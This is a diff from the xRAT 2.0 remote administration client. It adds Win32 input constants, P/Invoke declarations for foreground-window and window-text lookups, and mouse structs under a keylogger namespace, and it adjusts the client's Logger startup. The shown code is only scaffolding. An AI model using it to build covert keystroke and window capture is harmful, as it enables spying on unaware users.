public const int WM_LBUTTONDOWN = 0x201;
/// <summary>
/// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button
/// </summary>
public const int WM_RBUTTONDOWN = 0x204;
/// <summary>
/// The WM_MBUTTONDOWN message is posted when the user presses the middle mouse button
/// </summary>
public const int WM_MBUTTONDOWN = 0x207;
/// <summary>
/// The WM_LBUTTONUP message is posted when the user releases the left mouse button
/// </summary>
public const int WM_LBUTTONUP = 0x202;
/// <summary>
/// The WM_RBUTTONUP message is posted when the user releases the right mouse button
/// </summary>
public const int WM_RBUTTONUP = 0x205;
/// <summary>
/// The WM_MBUTTONUP message is posted when the user releases the middle mouse button
/// </summary>
public const int WM_MBUTTONUP = 0x208;
/// <summary>
/// The WM_LBUTTONDBLCLK message is posted when the user double-clicks the left mouse button
/// </summary>
public const int WM_LBUTTONDBLCLK = 0x203;
/// <summary>
/// The WM_RBUTTONDBLCLK message is posted when the user double-clicks the right mouse button
/// </summary>
public const int WM_RBUTTONDBLCLK = 0x206;
/// <summary>
/// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button
/// </summary>
public const int WM_MBUTTONDBLCLK = 0x209;
/// <summary>
/// The WM_MOUSEWHEEL message is posted when the user presses the mouse wheel.
/// </summary>
public const int WM_MOUSEWHEEL = 0x020A;
/// <summary>
/// The WM_XBUTTONDOWN message is posted when the user presses the first or second X mouse
/// button.
/// </summary>
public const int WM_XBUTTONDOWN = 0x20B;
/// <summary>
/// The WM_XBUTTONUP message is posted when the user releases the first or second X mouse
/// button.
/// </summary>
public const int WM_XBUTTONUP = 0x20C;
/// <summary>
/// The WM_XBUTTONDBLCLK message is posted when the user double-clicks the first or second
/// X mouse button.
/// </summary>
/// <remarks>Only windows that have the CS_DBLCLKS style can receive WM_XBUTTONDBLCLK messages.</remarks>
public const int WM_XBUTTONDBLCLK = 0x20D;
/// <summary>
/// The WM_MOUSEHWHEEL message Sent to the active window when the mouse's horizontal scroll
/// wheel is tilted or rotated.
/// </summary>
public const int WM_MOUSEHWHEEL = 0x20E;
/// <summary>
/// The WM_KEYDOWN message is posted to the window with the keyboard focus when a non-system
/// key is pressed. A non-system key is a key that is pressed when the ALT key is not pressed.
/// </summary>
public const int WM_KEYDOWN = 0x100;
/// <summary>
/// The WM_KEYUP message is posted to the window with the keyboard focus when a non-system
/// key is released. A non-system key is a key that is pressed when the ALT key is not pressed,
/// or a keyboard key that is pressed when a window has the keyboard focus.
/// </summary>
public const int WM_KEYUP = 0x101;
/// <summary>
/// The WM_SYSKEYDOWN message is posted to the window with the keyboard focus when the user
/// presses the F10 key (which activates the menu bar) or holds down the ALT key and then
/// presses another key. It also occurs when no window currently has the keyboard focus;
/// in this case, the WM_SYSKEYDOWN message is sent to the active window. The window that
/// receives the message can distinguish between these two contexts by checking the context
/// code in the lParam parameter.
/// </summary>
public const int WM_SYSKEYDOWN = 0x104;
/// <summary>
/// The WM_SYSKEYUP message is posted to the window with the keyboard focus when the user
/// releases a key that was pressed while the ALT key was held down. It also occurs when no
/// window currently has the keyboard focus; in this case, the WM_SYSKEYUP message is sent
/// to the active window. The window that receives the message can distinguish between
/// these two contexts by checking the context code in the lParam parameter.
/// </summary>
public const int WM_SYSKEYUP = 0x105;
}
}

View File

@ -0,0 +1,27 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger.WinApi
{
internal static class MouseNativeMethods
{
/// <summary>
/// The GetDoubleClickTime function retrieves the current double-click time for the mouse. A double-click is a series
/// of two clicks of the
/// mouse button, the second occurring within a specified time after the first. The double-click time is the maximum
/// number of
/// milliseconds that may occur between the first and second click of a double-click.
/// </summary>
/// <returns>
/// The return value specifies the current double-click time, in milliseconds.
/// </returns>
/// <remarks>
/// http://msdn.microsoft.com/en-us/library/ms646258(VS.85).aspx
/// </remarks>
[DllImport("user32")]
internal static extern int GetDoubleClickTime();
}
}

View File

@ -0,0 +1,54 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger.WinApi
{
/// <summary>
/// The <see cref="MouseStruct" /> structure contains information about a mouse input event.
/// </summary>
/// <remarks>
/// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct
/// </remarks>
[StructLayout(LayoutKind.Explicit)]
internal struct MouseStruct
{
/// <summary>
/// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates.
/// </summary>
[FieldOffset(0x00)] public Point Point;
/// <summary>
/// Specifies information associated with the message.
/// </summary>
/// <remarks>
/// The possible values are:
/// <list type="bullet">
/// <item>
/// <description>0 - No Information</description>
/// </item>
/// <item>
/// <description>1 - X-Button1 Click</description>
/// </item>
/// <item>
/// <description>2 - X-Button2 Click</description>
/// </item>
/// <item>
/// <description>120 - Mouse Scroll Away from User</description>
/// </item>
/// <item>
/// <description>-120 - Mouse Scroll Toward User</description>
/// </item>
/// </list>
/// </remarks>
[FieldOffset(0x0A)] public Int16 MouseData;
/// <summary>
/// Returns a Timestamp associated with the input, in System Ticks.
/// </summary>
[FieldOffset(0x10)] public Int32 Timestamp;
}
}

View File

@ -0,0 +1,64 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger.WinApi
{
/// <summary>
/// The Point structure defines the X- and Y- coordinates of a point.
/// </summary>
/// <remarks>
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/rectangl_0tiq.asp
/// </remarks>
[StructLayout(LayoutKind.Sequential)]
internal struct Point
{
/// <summary>
/// Specifies the X-coordinate of the point.
/// </summary>
public int X;
/// <summary>
/// Specifies the Y-coordinate of the point.
/// </summary>
public int Y;
public Point(int x, int y)
{
X = x;
Y = y;
}
public static bool operator ==(Point a, Point b)
{
return a.X == b.X && a.Y == b.Y;
}
public static bool operator !=(Point a, Point b)
{
return !(a == b);
}
public bool Equals(Point other)
{
return other.X == X && other.Y == Y;
}
public override bool Equals(object obj)
{
if (ReferenceEquals(null, obj)) return false;
if (obj.GetType() != typeof (Point)) return false;
return Equals((Point) obj);
}
public override int GetHashCode()
{
unchecked
{
return (X*397) ^ Y;
}
}
}
}

View File

@ -0,0 +1,46 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace xClient.Core.Keylogger.WinApi
{
internal static class ThreadNativeMethods
{
/// <summary>
/// Retrieves the unmanaged thread identifier of the calling thread.
/// </summary>
/// <returns></returns>
[DllImport("kernel32")]
internal static extern int GetCurrentThreadId();
/// <summary>
/// Retrieves a handle to the foreground window (the window with which the user is currently working).
/// The system assigns a slightly higher priority to the thread that creates the foreground window than it does to
/// other threads.
/// </summary>
/// <returns></returns>
[DllImport("user32.dll", CharSet = CharSet.Auto)]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
/// <summary>
/// Retrieves the identifier of the thread that created the specified window and, optionally, the identifier of the
/// process that
/// created the window.
/// </summary>
/// <param name="handle">A handle to the window. </param>
/// <param name="processId">
/// A pointer to a variable that receives the process identifier. If this parameter is not NULL,
/// GetWindowThreadProcessId copies the identifier of the process to the variable; otherwise, it does not.
/// </param>
/// <returns>The return value is the identifier of the thread that created the window. </returns>
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern int GetWindowThreadProcessId(IntPtr handle, out int processId);
}
}

View File

@ -47,7 +47,7 @@ namespace xClient
if (CommandHandler.LastDesktopScreenshot != null)
CommandHandler.LastDesktopScreenshot.Dispose();
if (Logger.Instance != null)
Logger.Instance.Enabled = false;
Logger.Instance.Dispose();
if (_appMutex != null)
_appMutex.Close();
@ -145,7 +145,7 @@ namespace xClient
{
new Thread(() =>
{
Logger logger = new Logger(15000) { Enabled = true };
Logger logger = new Logger(15000);
}).Start();
}
}

View File

@ -82,6 +82,10 @@ ResourceLib
Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013
https://github.com/dblock/resourcelib
globalmousekeyhook
Copyright (c) 2004-2015, George Mamaladze
https://github.com/gmamaladze/globalmousekeyhook
Thank you!
---
I really appreciate all kinds of feedback and contributions. Thanks for using and supporting xRAT 2.0!